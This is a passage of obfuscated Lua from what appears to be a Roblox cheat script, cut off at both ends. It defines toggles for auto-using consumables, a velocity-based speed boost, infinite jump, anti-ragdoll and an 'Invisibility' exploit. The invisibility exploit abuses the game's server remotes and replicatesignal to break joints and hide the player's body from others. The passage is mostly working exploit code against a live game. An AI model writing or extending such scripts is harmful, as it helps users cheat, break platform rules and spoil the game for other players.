local ok, result = pcall(function()
while not tbl31.Over(arg) do
local v34, v35 = fn58()
if v34 then
tbl31.Left = v35
local v36 = fn60()
if not v36 or not v36.Uid then
tbl31.State = "stop"
tbl31.Status = "Waiting"
fn67(nil)
break
else
if v36.Uid ~= tbl31.Locked then
tbl31.Locked = v36.Uid
tbl31.Status = "New target picked"
end
fn67(v36)
if not fn56(v36, arg) then
tbl31.State = "work"
tbl31.Status = "Could not reach the egg"
tbl31.Cooldown = os.clock() + 3
break
elseif not tbl31.Over(arg) then
if tbl31.Apply(v36, v34) then
pcall(fn66)
task.wait(0.35)
continue
end
end
end
end
break
end
end)
if not ok then
tbl31.Status = "Stopped: " .. tostring(result)
tbl31.State = "work"
tbl31.Cooldown = os.clock() + 3
end
tbl31.Settle()
tbl4.Movement.MutationWanted = false
tbl4.ReleaseMovement("mutation")
end
tbl31.Handle = v4:CreateToggle({
Name = "Auto Use Scrambled Mutation",
Default = false,
Callback = function(arg)
tbl31.Loop = tbl31.Loop + 1
tbl4.Movement.MutationWanted = false
tbl4.ReleaseMovement("mutation")
if arg ~= true then
return
end
local loop = tbl31.Loop
task.spawn(function()
while loop == tbl31.Loop and tbl4.Toggle(tbl31.Handle, false) do
pcall(fn68, loop)
pcall(fn66)
task.wait(tbl31.State == "idle" and 3 or 1)
end
end)
end,
})
if type(v4.CreateCanvas) == "function" then
do
local v31 = v4:CreateCanvas({
Name = "Scrambled Status",
ShowTitle = false,
Layout = "free",
SubOf = tbl31.Handle,
Style = {
TextScale = 1,
LineHeight = 1.1,
MinLines = 4,
MaxLines = 4,
AutoHeight = true,
BackgroundTransparency = 0.35,
TextColor = Color3.fromRGB(255, 255, 255),
TextStrokeTransparency = 0.7,
},
Build = function(arg)
tbl31.Ui.Card = arg:Frame({
X = 0,
Y = 0,
Width = 1,
Height = 3.6,
Corner = 0.3,
Background = "#151821",
BackgroundTransparency = 0.25,
})
tbl31.Ui.Accent = arg:Frame({
Parent = tbl31.Ui.Card,
X = 0.08,
Y = 0.18,
Width = 0.16,
Height = 3.24,
Corner = 0.2,
Background = tbl32.idle,
})
tbl31.Ui.Icon = arg:Image({
Parent = tbl31.Ui.Card,
X = 0.42,
Y = 0.3,
Width = 3,
Height = 3,
Corner = 0.3,
Background = "#242938",
BackgroundTransparency = 0.1,
StrokeThickness = 0.06,
StrokeTransparency = 0,
Visible = false,
})
tbl31.Ui.Title = arg:Text({
Parent = tbl31.Ui.Card,
X = 3.7,
Y = 0.32,
Width = 1,
Height = 1.05,
Scale = 1.16,
Wrap = false,
Text = tbl31.Status,
Color = tbl32.idle,
TextStrokeTransparency = 1,
})
tbl31.Ui.Egg = arg:Text({
Parent = tbl31.Ui.Card,
X = 3.7,
Y = 1.42,
Width = 1,
Height = 1,
Scale = 1,
Wrap = false,
Text = tbl31.Detail,
Color = "#FFFFFF",
TextStrokeTransparency = 1,
})
tbl31.Ui.Meta = arg:Text({
Parent = tbl31.Ui.Card,
X = 3.7,
Y = 2.42,
Width = 1,
Height = 0.9,
Scale = 0.86,
Wrap = false,
Text = "Charges 0 Eggs 0/0 Tries 0 Applied 0",
Color = "#AEB4C6",
TextStrokeTransparency = 1,
})
fn66()
end,
})
fn6(function()
pcall(function()
v31:Destroy()
end)
end)
end
else
tbl31.Row =
v4:CreateText({ Name = "Scrambled Status", Text = "Idle", SubOf = tbl31.Handle })
end
end
v4:CreateDropdown({
Name = "Mutation Min Rarity",
Note = "Only eggs of this rarity and above are used",
Options = tbl7,
Default = tbl7[1],
SubOf = tbl31.Handle,
Callback = function(arg)
local v30 = tbl31
v30.MinRarity = tbl8[arg] or 0
end,
})
do
local tbl32 = {
["K/s"] = { Min = 0, Max = 1000, Mult = 1000 },
["M/s"] = { Min = 0, Max = 1000, Mult = 1000000 },
["B/s"] = { Min = 0, Max = 100, Mult = 1000000000 },
}
local tbl33 = { Slider = nil, Value = 0, Unit = "M/s" }
local function fn50(arg, arg2)
if arg ~= nil then
local v30 = tbl33
local max = math.max
local floor = math.floor
local value = tonumber(arg) or tbl33.Value
v30.Value = max(0, floor(value))
end
if arg2 ~= nil then
tbl33.Unit = tostring(arg2)
end
local ms = tbl32[tbl33.Unit] or tbl32["M/s"]
tbl31.MinIncome = tbl33.Value * ms.Mult
end
tbl33.Slider = v4:CreateSlider({
Name = "Mutation Min Value",
Note = "Skip eggs worth less than this (0 = off)",
Min = 0,
Max = 1000,
Default = 0,
AllowDecimals = false,
Increment = 1,
SubOf = tbl31.Handle,
Unit = {
Default = "M/s",
Selector = true,
Options = { "K/s", "M/s", "B/s" },
ColorEnabled = true,
Colors = {
Number = Color3.fromRGB(255, 255, 255),
Suffix = Color3.fromRGB(58, 255, 55),
},
Callback = function(arg)
local ms = tbl32[arg] or tbl32["M/s"]
local slider = tbl33.Slider
if slider and slider.SetRange then
slider:SetRange(ms.Min, ms.Max)
local min = tonumber(slider:Get()) or ms.Min
local min2 = ms.Min
local max = ms.Max
local n27 = math.clamp(math.floor(min + 0.5), min2, max)
if n27 ~= min then
tbl33.Unit = tostring(arg)
slider:Set(n27)
return
end
fn50(n27, arg)
else
fn50(nil, arg)
end
end,
},
Callback = function(arg)
fn50(arg, nil)
end,
})
end
v4:CreateDropdown({
Name = "Mutation Priority",
Note = "Which egg gets the consumable first",
Options = tbl30,
Default = tbl30[1],
SubOf = tbl31.Handle,
Callback = function(arg)
tbl31.Priority = tostring(arg)
end,
})
fn7(v4:CreateMultiDropdown({
Name = "Mutation Target Eggs",
Note = "Only use the consumable on these eggs (empty = all)",
Options = tbl31.EggOptions,
Default = {},
SubOf = tbl31.Handle,
Callback = function(arg)
local tbl32 = {}
if type(arg) == "table" then
for k, v30 in pairs(arg) do
local flag6 = v30 == true and type(k) == "string"
if not flag6 then
k = flag6
end
if k then
v30 = k
else
local flag7 = type(v30) == "string"
if not flag7 then
v30 = flag7
end
end
v30 = v30 or nil
if v30 and tbl31.EggCategory[v30] then
tbl32[tbl31.EggCategory[v30]] = true
end
end
end
tbl31.Targets = tbl32
end,
}))
tbl31.BuyHandle = v4:CreateToggle({
Name = "Auto Buy Scrambled",
Note = "Buy another Scrambled from the event shop when you run out",
Default = false,
SubOf = tbl31.Handle,
Callback = function()
tbl31.Cooldown = 0
end,
})
fn6(function()
tbl31.Loop = tbl31.Loop + 1
tbl4.Movement.MutationWanted = false
tbl4.ReleaseMovement("mutation")
end)
v4:CreateButton({
Name = "Go To Secret Cave",
ButtonText = "Go",
ConfirmText = "Going",
Callback = function()
task.spawn(fn49)
end,
})
do
local v30 = nil
local flag6 = false
local flag7 = false
tbl2.Add(function()
if not flag7 and os.clock() - n15 >= n11 then
flag7 = true
task.spawn(function()
pcall(fn18, true)
flag7 = false
end)
end
local flag8 = v27
if v27 then
flag8 = type(v27.Set) == "function"
end
if flag8 then
pcall(v27.Set, v27, fn24())
end
local flag9 = v28
if v28 then
flag9 = type(v28.Set) == "function"
end
if flag9 then
pcall(v28.Set, v28, fn44())
end
local v31 = fn21()
local v32 = tbl4.IsNight()
if v31 and not flag6 then
tbl21.Latch = v32
tbl21.Ended = false
end
if not v32 then
tbl21.Latch = false
elseif v31 and not tbl21.Latch and not tbl21.Ended then
tbl21.Ended = true
str3 = "Night arrived, this outbreak is over"
table.clear(tbl17)
table.clear(tbl18)
end
if not v31 then
tbl21.Ended = false
end
local flag10 = flag6
if flag6 then
flag10 = not v31
end
if flag10 then
task.delay(15, function()
if not fn21() then
table.clear(tbl17)
table.clear(tbl22)
end
end)
end
flag6 = v31
if tbl4.Toggle(v29, false) and not flag5 and os.clock() >= n18 and fn20() then
flag5 = true
n18 = os.clock() + 8
task.spawn(function()
pcall(fn28, function()
return not tbl4.Toggle(v29, false)
end)
flag5 = false
end)
end
local v33 = fn45()
local v34 = fn46()
local movement = tbl4.Movement
movement.ScrambleWanted = v33 or v34
local invisibilityHandle = tbl4.InvisibilityHandle
local flag11 = invisibilityHandle ~= nil and tbl4.Toggle(invisibilityHandle, false)
if v33 then
v30 = nil
if not tbl4.InvisSuspended then
tbl4.InvisSuspended = true
flag11 = flag11 and type(v.Notify) == "function"
if flag11 then
pcall(
v.Notify,
"Invisibility",
"Invisibility is paused for the drone hunt and comes back after it.",
5
)
end
end
elseif tbl4.InvisSuspended and not flag4 then
local n27 = v30
if not v30 then
n27 = os.clock() + 5
end
v30 = n27
if os.clock() >= v30 then
v30 = nil
tbl4.InvisSuspended = false
flag11 = flag11 and type(v.Notify) == "function"
if flag11 then
pcall(
v.Notify,
"Invisibility",
"The drone hunt is over, Invisibility is back on.",
5
)
end
end
end
local character = localPlayer.Character
if
v33
and not flag4
and character
and character:GetAttribute("InvisApplied") == true
then
str3 = "Leaving Invisibility for the hunt"
return true
end
if flag4 then
return v33
end
if not (v33 or v34) or os.clock() < n17 then
if not v33 and not v34 then
str3 = ""
end
return false
end
local steal = tbl4.Steal
if steal.Active or steal.Carrying or steal.Wanted then
str3 = "Auto Steal goes first"
return v33
end
if not tbl4.ClaimMovement("scramble") then
local v35 = tostring
local owner = tbl4.Movement.Owner or "movement"
str3 = "Waiting for " .. v35(owner) .. " to finish"
return v33
end
flag4 = true
n17 = os.clock() + n12
local v35 = n16
task.spawn(function()
pcall(fn48, function()
return v35 ~= n16
end)
tbl4.HoldBelt()
pcall(fn47, v35)
fn29()
tbl4.ReleaseBelt()
tbl4.ReleaseMovement("scramble")
flag4 = false
tbl2.Wake()
end)
return v33
end)
end
end
fn6(function()
n16 = n16 + 1
fn29()
tbl4.InvisSuspended = false
tbl4.Movement.ScrambleWanted = false
tbl4.ReleaseMovement("scramble")
end)
local v26
do
local v27 = v2:CreateTab({ Name = "Player", SectionsExpanded = true })
tbl4.EspSection = v27:CreateSection({ Name = "ESP", Expanded = false })
local v28 = v27:CreateSection({ Name = "Movement", Expanded = true })
v26 = v27:CreateSection({ Name = "Character", Expanded = true })
local createToggle = nil
local n19 = 350
local connection = nil
local flag6 = false
local function fn30()
local character = localPlayer.Character
local humanoidRootPart = character and character:FindFirstChild("HumanoidRootPart")
character = character and character:FindFirstChildOfClass("Humanoid")
if humanoidRootPart and character and character.Health > 0 then
return humanoidRootPart, character
end
return nil, nil
end
local function fn31()
if not flag6 then
return
end
flag6 = false
local v29, v30 = fn30()
if not v29 then
return
end
local assemblyLinearVelocity = v29.AssemblyLinearVelocity
local moveDirection = v30.MoveDirection
local vector = Vector3.new(moveDirection.X, 0, moveDirection.Z)
local vector2 = vector.Magnitude > 0.001 and vector.Unit * v30.WalkSpeed
or Vector3.new(0, 0, 0)
pcall(function()
v29.AssemblyLinearVelocity = Vector3.new(vector2.X, assemblyLinearVelocity.Y, vector2.Z)
end)
end
local function fn32()
if connection then
connection:Disconnect()
connection = nil
end
fn31()
tbl4.Shield("speed", false)
end
local function fn33()
if connection then
return
end
tbl4.Shield("speed", true)
connection = RunService.Heartbeat:Connect(function()
if tbl4.Steal.Active or tbl4.Flying or tbl4.Driving > 0 or tbl4.Treadmill.Riding then
flag6 = false
return
end
local v29, v30 = fn30()
if not v29 or v30.Sit or v30.PlatformStand then
flag6 = false
return
end
local num = tonumber(localPlayer:GetAttribute("RagdollEndTime"))
if num and num > workspace:GetServerTimeNow() then
flag6 = false
return
end
local moveDirection = v30.MoveDirection
local vector = Vector3.new(moveDirection.X, 0, moveDirection.Z)
if vector.Magnitude <= 0.001 then
fn31()
return
end
local n20 = vector.Unit * n19
local assemblyLinearVelocity = v29.AssemblyLinearVelocity
pcall(function()
v29.AssemblyLinearVelocity = Vector3.new(n20.X, assemblyLinearVelocity.Y, n20.Z)
end)
flag6 = true
end)
end
tbl4.SpeedForced = false
local function fn34()
if tbl4.Toggle(createToggle, false) or tbl4.SpeedForced then
fn33()
else
fn32()
end
end
local flag7 = false
local flag8 = false
local flag9 = false
tbl4.SetSpeedForced = function(arg)
tbl4.SpeedForced = arg == true
flag7 = true
fn34()
end
local tbl23 = {
Name = "Speed Boost",
Default = false,
Callback = function()
if tbl4.SpeedForced and not tbl4.Toggle(createToggle, false) then
flag7 = true
flag9 = true
end
fn34()
end,
}
createToggle = v28.CreateToggle
createToggle = createToggle(v28, tbl23)
local connection2 = RunService.Heartbeat:Connect(function()
if flag9 then
flag9 = false
if type(v.Notify) == "function" then
pcall(
v.Notify,
"Speed Boost",
"Speed Boost must stay on while Invisibility is on.",
5
)
end
end
if not flag7 then
return
end
flag7 = false
local flag10
if tbl4.SpeedForced and not tbl4.Toggle(createToggle, false) then
flag8 = true
flag10 = true
else
local flag11 = not tbl4.SpeedForced and flag8
flag10 = nil
if flag11 then
flag8 = false
flag10 = nil
if tbl4.Toggle(createToggle, false) then
flag10 = false
end
end
end
if flag10 ~= nil then
for _, v29 in ipairs({ "Set", "SetValue" }) do
local ok, result = pcall(function()
return createToggle[v29]
end)
if ok and type(result) == "function" and pcall(result, createToggle, flag10) then
break
else
end
end
end
end)
fn6(function()
connection2:Disconnect()
end)
v28:CreateSlider({
Name = "Boost Speed",
Min = 20,
Max = 1000,
Default = 350,
Increment = 5,
Unit = "studs/s",
Callback = function(arg)
local clamp = math.clamp
local n20 = tonumber(arg) or 350
n19 = clamp(n20, 20, 1000)
end,
})
fn6(fn32)
local v29 = nil
local connection3 = nil
local function fn35()
if connection3 then
connection3:Disconnect()
connection3 = nil
end
tbl4.Shield("jump", false)
end
v29 = v28:CreateToggle({
Name = "Infinite Jump",
Default = false,
Callback = function()
if not tbl4.Toggle(v29, false) then
fn35()
return
end
if connection3 then
return
end
tbl4.Shield("jump", true)
connection3 = UserInputService.JumpRequest:Connect(function()
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if humanoid then
pcall(function()
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end)
end
end)
end,
})
fn6(fn35)
end
do
local createToggle = nil
local flag6 = false
local flag7 = true
local flag8 = false
local flag9 = false
local flag10 = false
local v27 = nil
local v28 = nil
local n19 = 999
local function fn30()
local flag11 = flag6
if flag6 then
flag11 = not tbl4.InvisSuspended
end
return flag11
end
local function fn31(arg)
arg = arg and arg:FindFirstChildOfClass("Humanoid")
local v29 = arg or nil
return v29
end
local function fn32(arg)
return networking:FindFirstChild(arg)
end
local function fn33(arg)
local flag11 = arg ~= nil and arg:GetAttribute("InvisApplied") == true
return flag11
end
local function fn34()
local AskDoff = fn32("RF/Treadmill/AskDoff")
if AskDoff and AskDoff:IsA("RemoteFunction") then
for i = 1, 2 do
pcall(AskDoff.InvokeServer, AskDoff)
end
end
end
local function fn35(arg)
local AskRigWipe = fn32("RE/RigSync/AskRigWipe")
if AskRigWipe and AskRigWipe:IsA("RemoteEvent") then
pcall(AskRigWipe.FireServer, AskRigWipe, arg)
end
end
local function fn36(arg)
local backpack = localPlayer:FindFirstChildOfClass("Backpack")
for _, child in ipairs(arg:GetChildren()) do
if child:IsA("Humanoid") then
pcall(child.UnequipTools, child)
end
end
if backpack then
for _, child in ipairs(arg:GetChildren()) do
if child:IsA("Tool") then
pcall(function()
child.Parent = backpack
end)
end
end
end
for i = 1, 3 do
RunService.Heartbeat:Wait()
end
end
local function fn37(arg)
local v29 = fn31(arg)
if not arg or not v29 then
return false
end
fn36(arg)
fn34()
pcall(function()
v29:SetStateEnabled(Enum.HumanoidStateType.Dead, true)
v29.BreakJointsOnDeath = true
v29.RequiresNeck = true
v29.Health = 0
end)
pcall(function()
v29:ChangeState(Enum.HumanoidStateType.Dead)
end)
pcall(function()
arg:BreakJoints()
end)
fn35(arg)
return true
end
local function fn38(arg)
local v29 = fn31(arg)
local n20 = os.clock() + 10
while true do
if os.clock() < n20 and flag7 and arg.Parent then
v29 = v29 or fn31(arg)
if
not (
v29
and arg:FindFirstChild("HumanoidRootPart")
and arg:FindFirstChild("Head")
)
then
task.wait()
continue
end
end
break
end
local humanoidRootPart = arg:FindFirstChild("HumanoidRootPart")
if not fn30() or not v29 or not humanoidRootPart or not arg:FindFirstChild("Head") then
return false
end
task.wait(0.05)
if not fn30() or arg.Parent == nil then
return false
end
for i = 1, 2 do
pcall(v29.UnequipTools, v29)
end
if type(replicatesignal) == "function" then
for i = 1, 2 do
pcall(replicatesignal, v29.ServerBreakJoints)
end
end
local hipHeight = v29.HipHeight
pcall(function()
v29.HipHeight = n19
end)
for _, child in ipairs(arg:GetChildren()) do
if child:IsA("Accessory") or child:IsA("BasePart") and child ~= humanoidRootPart then
pcall(function()
child.Parent = nil
end)
end
end
task.wait(0.12)
local function fn38()
pcall(function()
v29.HipHeight = hipHeight
end)
for _, child in ipairs(arg:GetChildren()) do
if child:IsA("Humanoid") and child.HipHeight ~= hipHeight then
pcall(function()
child.HipHeight = hipHeight
end)
end
end
end
if arg.Parent == nil then
fn38()
return false
end
local motor6D = Instance.new("Motor6D")
motor6D.Name = "RightWrist"
motor6D.C0 = CFrame.new(1.2, 0, 0)
motor6D.C1 = CFrame.new()
motor6D.Part0 = humanoidRootPart
motor6D.Parent = humanoidRootPart
local part = Instance.new("Part")
part.Name = "RightHand"
part.Size = Vector3.new(0.20000000298023224, 0.20000000298023224, 0.20000000298023224)
part.Transparency = 1
part.CanCollide = false
part.CanTouch = false
part.CanQuery = false
part.Massless = true
part.CFrame = humanoidRootPart.CFrame * motor6D.C0
motor6D.Part1 = part
part.Parent = arg
pcall(function()
humanoidRootPart.CanCollide = false
end)
fn38()
arg:SetAttribute("InvisApplied", true)
task.delay(1, function()
local chilliToolKeeper = (typeof(getgenv) == "function" and getgenv() or _G).ChilliToolKeeper
if arg.Parent and type(chilliToolKeeper) == "function" then
pcall(chilliToolKeeper)
end
end)
task.delay(0.2, function()
if humanoidRootPart.Parent then
pcall(function()
humanoidRootPart.CanCollide = true
end)
end
end)
local connection = arg.ChildAdded:Connect(function(arg2)
if arg2:IsA("Humanoid") then
task.defer(function()
if arg2.HipHeight ~= hipHeight then
pcall(function()
arg2.HipHeight = hipHeight
end)
end
end)
end
end)
local connection2 = nil
connection2 = arg.AncestryChanged:Connect(function(arg2, arg3)
if arg3 == nil then
connection:Disconnect()
connection2:Disconnect()
end
end)
return true
end
local function fn39()
local active = tbl4.Steal.Active or tbl4.Steal.Carrying or tbl4.Flying
if not active then
active = (tbl4.Driving or 0) > 0
end
return active
end
tbl4.RequestRespawn = function()
flag10 = true
end
local function fn40()
flag8 = true
local flag11 = flag10
while true do
local flag12 = flag7
if flag7 then
flag12 = fn39() or not tbl4.ClaimMovement("invisibility")
end
if flag12 then
task.wait(0.2)
continue
end
break
end
local character = localPlayer.Character
local v29 = flag7
local v30
if flag7 then
v30 = character
else
v30 = v29
end
flag11 = v30 and (flag11 or fn33(character) ~= fn30())
flag11 = flag11 and fn31(character)
if flag11 then
flag10 = false
tbl3.Paused = true
tbl4.ShieldPaused = true
pcall(tbl4.UndoSwap)
task.wait()
fn37(localPlayer.Character)
local n20 = os.clock() + 60
local n21 = os.clock() + 8
while true do
local flag12 = flag7
if flag7 then
flag12 = os.clock() < n20
end
flag12 = flag12 and localPlayer.Character == character
if flag12 then
if os.clock() >= n21 then
n21 = os.clock() + 8
fn35(character)
end
task.wait(0.05)
continue
end
break
end
task.wait(0.1)
while true do
local v31 = flag7
if flag7 then
v31 = flag9
end
if v31 then
task.wait(0.05)
continue
end
break
end
end
tbl3.Paused = false
tbl4.ShieldPaused = false
tbl4.ReleaseMovement("invisibility")
flag8 = false
end
local connection = localPlayer.CharacterAdded:Connect(function(arg)
if not fn30() then
return
end
flag9 = true
tbl4.ShieldPaused = true
task.spawn(function()
pcall(fn38, arg)
flag9 = false
if not flag8 then
tbl4.ShieldPaused = false
end
end)
end)
local thread = task.spawn(function()
while flag7 do
local character = localPlayer.Character
local v29 = fn31(character)
local flag11 = not flag8 and not flag9 and character and v29 and v29.Health > 0
local flag12
if flag11 then
local v30 = flag10
if flag10 then
flag12 = v30
else
flag12 = fn33(character) ~= fn30()
end
else
flag12 = flag11
end
if flag12 then
fn40()
end
local v30 = fn33(localPlayer.Character)
if v30 ~= v27 then
v27 = v30
tbl4.SetSpeedForced(v30)
end
task.wait(0.25)
end
end)
local connection2 = RunService.Heartbeat:Connect(function()
local character = localPlayer.Character
if not character or not fn33(character) then
return
end
local rightHand = character:FindFirstChild("RightHand")
local tool = character:FindFirstChildWhichIsA("Tool")
local handle = tool and tool:FindFirstChild("Handle")
if not rightHand or not handle or not handle:IsA("BasePart") then
return
end
local cframe = CFrame.new()
for _, child in ipairs(rightHand:GetChildren()) do
if
child:IsA("JointInstance")
and child.Name == "RightGrip"
and child.Part1 == handle
then
cframe = child.C0 * child.C1:Inverse()
if child.Enabled then
child.Enabled = false
end
end
end
pcall(function()
handle.CFrame = rightHand.CFrame * cframe
handle.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
handle.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
end)
fn6(function()
connection2:Disconnect()
end)
local connection3 = RunService.Heartbeat:Connect(function()
local character = localPlayer.Character
local v29 = fn31(character)
local humanoidRootPart = character and character:FindFirstChild("HumanoidRootPart")
if not v29 or not humanoidRootPart or v29.Health <= 0 then
return
end
local flag11 = fn33(character) and not tbl4.Steal.Active and not tbl4.Flying
local flag12
if flag11 then
flag12 = (tbl4.Driving or 0) == 0
else
flag12 = flag11
end
if flag12 then
flag12 = not (tbl4.Treadmill and tbl4.Treadmill.Riding)
end
flag12 = flag12 and not v29.Sit
flag12 = flag12 and not v29.PlatformStand
if not flag12 then
if v28 == v29 then
v28 = nil
pcall(function()
v29.AutoRotate = true
end)
end
return
end
if v29.AutoRotate then
pcall(function()
v29.AutoRotate = false
end)
end
v28 = v29
local moveDirection = v29.MoveDirection
local vector = Vector3.new(moveDirection.X, 0, moveDirection.Z)
if 0.01 < vector.Magnitude then
pcall(function()
humanoidRootPart.CFrame = CFrame.lookAt(
humanoidRootPart.Position,
humanoidRootPart.Position + vector.Unit
)
end)
end
end)
local tbl23 = {
Name = "Invisibility",
Note = "Makes you invisible to other players",
Default = false,
Callback = function()
flag6 = tbl4.Toggle(createToggle, false) == true
if fn30() and not fn33(localPlayer.Character) and tbl4.Movement.Owner == nil then
tbl4.Movement.Owner = "invisibility"
end
end,
}
createToggle = v26.CreateToggle
createToggle = createToggle(v26, tbl23)
tbl4.InvisibilityHandle = createToggle
fn6(function()
flag7 = false
connection:Disconnect()
connection3:Disconnect()
pcall(task.cancel, thread)
tbl3.Paused = false
tbl4.ShieldPaused = false
tbl4.ReleaseMovement("invisibility")
end)
end
do
local tbl23 =
{ BallSocketConstraint = true, NoCollisionConstraint = true, HingeConstraint = true }
local tbl24 = {
[Enum.HumanoidStateType.Physics] = true,
[Enum.HumanoidStateType.Ragdoll] = true,
[Enum.HumanoidStateType.FallingDown] = true,
}
local n19 = 0.5
local n20 = 5
local n21 = 0
local v27 = fn3(function()
return ReplicatedStorage.Shared.Modules.Ragdoll
end)
local v28 = nil
local function fn30()
if v28 then
return v28
end
local ok, result = pcall(function()
local PlayerModule = require(
localPlayer:WaitForChild("PlayerScripts", 5):WaitForChild("PlayerModule", 5)
)
return PlayerModule:GetControls()
end)
if ok then
v28 = result
end
return v28
end
local v29 = nil
local flag6 = false
local connection = nil
local n22 = 0
local fn31 = nil
local tbl25 = {}
local tbl26 = {}
local n23 = 0
local v30 = nil
local humanoid = nil
local function fn32(arg)
for _, v31 in ipairs(arg) do
if v31.Connected then
v31:Disconnect()
end
end
table.clear(arg)
end
local function fn33(arg)
local n24 = #tbl25 + 1
tbl25[n24] = arg
end
local function fn34(arg)
local n24 = #tbl26 + 1
tbl26[n24] = arg
end
local function fn35()
if not v30 or not humanoid then
return
end
local humanoidRootPart = v30:FindFirstChild("HumanoidRootPart")
if not humanoidRootPart then
return
end
local assemblyLinearVelocity = humanoidRootPart.AssemblyLinearVelocity
local vector = Vector3.new(assemblyLinearVelocity.X, 0, assemblyLinearVelocity.Z)
local n24 = humanoid.WalkSpeed + n20
local y = assemblyLinearVelocity.Y
local flag7 = false
if vector.Magnitude > n24 then
vector = vector.Unit * n24
flag7 = true
end
if n21 < y then
y = n21
flag7 = true
end
if flag7 then
pcall(function()
humanoidRootPart.AssemblyLinearVelocity = Vector3.new(vector.X, y, vector.Z)
end)
end
end
local function fn36()
if type(v27) ~= "table" then
return
end
if type(v27.ClearClientRagdoll) == "function" then
pcall(v27.ClearClientRagdoll)
end
if type(v27.Unragdoll) == "function" then
pcall(v27.Unragdoll, v30)
end
end
local function fn37()
if not v30 or not v30.Parent then
return
end
for _, descendant in ipairs(v30:GetDescendants()) do
if tbl23[descendant.ClassName] then
pcall(function()
descendant:Destroy()
end)
end
end
end
local function fn38()
if not v30 or not v30.Parent then
return
end
for _, descendant in ipairs(v30:GetDescendants()) do
if descendant:IsA("Motor6D") and not descendant.Enabled then
pcall(function()
descendant.Enabled = true
end)
elseif descendant:IsA("AnimationConstraint") and not descendant.Enabled then
pcall(function()
descendant.Enabled = true
end)
end
end
end
local function fn39()
local v31 = fn30()
if v31 and v31.controlsEnabled == false then
pcall(function()
v31:Enable()
end)
end
end
local function fn40()
local currentCamera = workspace.CurrentCamera
if currentCamera and humanoid and currentCamera.CameraSubject ~= humanoid then
pcall(function()
currentCamera.CameraSubject = humanoid
end)
end
end
local function fn41()
if not humanoid or not humanoid.Parent or humanoid.Health <= 0 then
return
end
if tbl24[humanoid:GetState()] then
pcall(function()
humanoid:ChangeState(Enum.HumanoidStateType.Running)
end)
end
if humanoid.PlatformStand then
humanoid.PlatformStand = false
end
end
local function fn42()
if type(v27) == "table" and type(v27.IsRagdolled) == "function" then
local ok, result = pcall(v27.IsRagdolled, v30)
ok = ok and result == true
if ok then
return true
end
end
local num = tonumber(localPlayer:GetAttribute("RagdollEndTime"))
local flag7 = num ~= nil and num > workspace:GetServerTimeNow()
return flag7
end
local n24 = 21
local function fn43()
if tbl4.AntiGuard.Busy == true then
return true
end
if (tonumber(tbl4.AntiGuard.HitArms) or 0) <= 0 then
return false
end
local now = os.clock()
local n25 = tonumber(tbl4.AntiGuard.HitArmedAt) or 0
return now - n25 <= n24
end
local function fn44()
if not humanoid or not humanoid.Parent then
return false
end
if humanoid.PlatformStand then
return true
end
return tbl24[humanoid:GetState()] == true
end
local function fn45()
if not v30 or not v30.Parent then
return false
end
for _, child in ipairs(v30:GetChildren()) do
if tbl23[child.ClassName] then
return true
end
if child:IsA("BasePart") then
for _, child2 in ipairs(child:GetChildren()) do
if tbl23[child2.ClassName] then
return true
end
end
continue
end
end
return false
end
local function fn46()
fn35()
fn36()
fn37()
fn38()
fn41()
fn39()
fn40()
end
local function fn47()
if not flag6 or fn43() then
return
end
n22 = os.clock() + n19
end
local function fn48()
local character = localPlayer.Character
if character ~= v30 then
if character then
fn31(character)
else
n23 = n23 + 1
fn32(tbl26)
v30 = nil
humanoid = nil
end
return
end
if not v30 then
return
end
if v30:FindFirstChildOfClass("Humanoid") ~= humanoid then
fn31(v30)
end
end
local function fn49()
if not flag6 then
return
end
fn48()
if not v30 or not humanoid or humanoid.Health <= 0 then
return
end
if fn43() then
n22 = 0
return
end
local now = os.clock()
if fn44() or fn42() or fn45() then
n22 = now + n19
end
if now <= n22 then
fn46()
end
end
fn31 = function(arg)
n23 = n23 + 1
local v31 = n23
fn32(tbl26)
v30 = arg
humanoid = nil
if not flag6 or not arg then
return
end
humanoid = arg:FindFirstChildOfClass("Humanoid")
if
not flag6
or n23 ~= v31
or arg ~= localPlayer.Character
or not humanoid
or not humanoid:IsA("Humanoid")
then
return
end
fn34(humanoid.StateChanged:Connect(function(arg2, arg3)
local v32 = flag6
if flag6 then
v32 = tbl24[arg3]
end
if v32 then
fn47()
end
end))
fn34(humanoid:GetPropertyChangedSignal("PlatformStand"):Connect(function()
local v32 = flag6
if flag6 then
v32 = humanoid
end
if v32 and humanoid.PlatformStand then
fn47()
end
end))
fn34(arg.DescendantAdded:Connect(function(arg2)
local v32 = flag6
if flag6 then
v32 = tbl23[arg2.ClassName]
end
if v32 then
fn47()
end
end))
fn34(arg.ChildAdded:Connect(function(arg2)
local isHumanoid = flag6
if flag6 then
isHumanoid = arg2:IsA("Humanoid")
end
isHumanoid = isHumanoid and arg2 ~= humanoid
if isHumanoid then
task.defer(fn48)
end
end))
fn40()
if fn42() then
fn47()
end
end
local function fn50()
flag6 = false
n23 = n23 + 1
n22 = 0
if connection then
pcall(function()
connection:Disconnect()
end)
connection = nil
end
fn32(tbl26)
fn32(tbl25)
v30 = nil
humanoid = nil
end
local function fn51()
fn50()
flag6 = true
fn30()
connection = RunService.Heartbeat:Connect(fn49)
fn33(localPlayer.CharacterAdded:Connect(function(arg)
if flag6 then
task.defer(function()
local flag7 = flag6
if flag6 then
flag7 = arg == localPlayer.Character
end
if flag7 then
fn31(arg)
end
end)
end
end))
fn33(localPlayer.CharacterRemoving:Connect(function(arg)
local flag7 = flag6
if flag6 then
flag7 = arg == v30
end
if flag7 then
n23 = n23 + 1
n22 = 0
fn32(tbl26)
v30 = nil
humanoid = nil
end
end))
fn33(localPlayer:GetAttributeChangedSignal("RagdollEndTime"):Connect(function()
if flag6 then
fn47()
end
end))
local clientRagdollRemote = type(v27) == "table" and v27.ClientRagdollRemote or nil
if typeof(clientRagdollRemote) == "Instance" and clientRagdollRemote:IsA("RemoteEvent") then
fn33(clientRagdollRemote.OnClientEvent:Connect(function()
local flag7 = flag6
if flag6 then
flag7 = not fn43()
end
if flag7 then
fn35()
fn47()
end
end))
end
fn33(tbl4.OnHumanoidChanged(function()
local character = flag6
if flag6 then
character = localPlayer.Character
end
if character then
fn31(localPlayer.Character)
end
end))
if localPlayer.Character then
fn31(localPlayer.Character)
end
end
fn6(fn50)
v29 = v26:CreateToggle({
Name = "Anti Ragdoll",
Default = true,
Callback = function()
if tbl4.Toggle(v29, false) then
fn51()
else
